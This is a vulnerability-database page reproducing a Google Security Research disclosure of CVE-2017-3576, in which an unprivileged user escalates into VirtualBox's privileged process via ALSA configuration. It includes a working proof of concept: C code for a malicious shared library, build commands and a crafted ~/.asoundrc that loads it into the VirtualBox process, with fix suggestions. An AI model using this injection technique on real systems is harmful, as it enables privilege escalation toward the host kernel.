Lucene search
K

VirtualBox Unprivilege Host User To Host Kernel Privilege Escalation Exploit

🗓️ 19 Apr 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 42 Views

VirtualBox unprivileged user to kernel privilege escalation via ALSA configuratio

Related
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the Oracle VM VirtualBox virtual machine allows a malicious individual to compromise the confidentiality of information.
15 May 201700:00
bdu_fstec
Circl
CVE-2017-3576
20 Apr 201700:00
circl
CNVD
Oracle VM VirtualBox Remote Vulnerability (CNVD-2017-06477)
28 Apr 201700:00
cnvd
CVE
CVE-2017-3576
24 Apr 201719:00
cve
Cvelist
CVE-2017-3576
24 Apr 201719:00
cvelist
Debian CVE
CVE-2017-3576
24 Apr 201719:00
debiancve
EUVD
EUVD-2017-12696
7 Oct 202500:30
euvd
Kaspersky
KLA11027 Multiple vulnerabilities in Oracle VM VirtualBox
24 Apr 201700:00
kaspersky
Mageia
Updated virtualbox packages fixes security vulnerabilities
9 May 201706:35
mageia
NVD
CVE-2017-3576
24 Apr 201719:59
nvd
Rows per page
VirtualBox: unprivileged host user -> host kernel privesc via ALSA config 

CVE-2017-3576


This is another way to escalate from an unprivileged userspace process
into the VirtualBox process, which has an open file descriptor to the
privileged device /dev/vboxdrv and can use that to compromise the
host kernel.

The issue is that, for VMs with ALSA audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
context and therefore deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, on a normal Ubuntu desktop installation with VirtualBox
installed, first configure a VM with ALSA audio, then (where
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):


~$ cd /tmp
/tmp$ cat > evil_vbox_lib.c
#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
  if (strcmp(program_invocation_short_name, "VirtualBox"))
    return;

  prctl(PR_SET_DUMPABLE, 1);
  printf("running in pid %d\n", getpid());
  printf("searching for vboxdrv file descriptor in current process...\n");
  char linkbuf[1000];
  char *needle = "/dev/vboxdrv";
  for (int i=0; i<1000; i++) {
    char linkpath[1000];
    sprintf(linkpath, "/proc/self/fd/%d", i);
    ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
    if (linklen == -1) continue;
    if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
      printf("found it, fd %d is /dev/vboxdrv\n", i);
    }
  }
  _exit(0);
}
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vbox_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
running in pid 8910
searching for vboxdrv file descriptor in current process...
found it, fd 7 is /dev/vboxdrv
/tmp$ rm ~/.asoundrc


I believe that the ideal way to fix this would involve running
libasound, together with other code that doesn't require elevated
privileges - which would ideally be all userland code -, in an
unprivileged process. However, for now, moving only the audio output
handling into an unprivileged process might also do the job; I haven't
yet checked whether there are more libraries VirtualBox loads that
permit loading arbitrary libraries into the VirtualBox process.

You could probably theoretically also fix this by modifying libasound
to suppress dangerous configuration directives in ~/.asoundrc, but I
believe that that would be brittle and hard to maintain.

Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: jannh

#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Apr 2017 00:00Current
8.5High risk
Vulners AI Score8.5
EPSS0.00123
42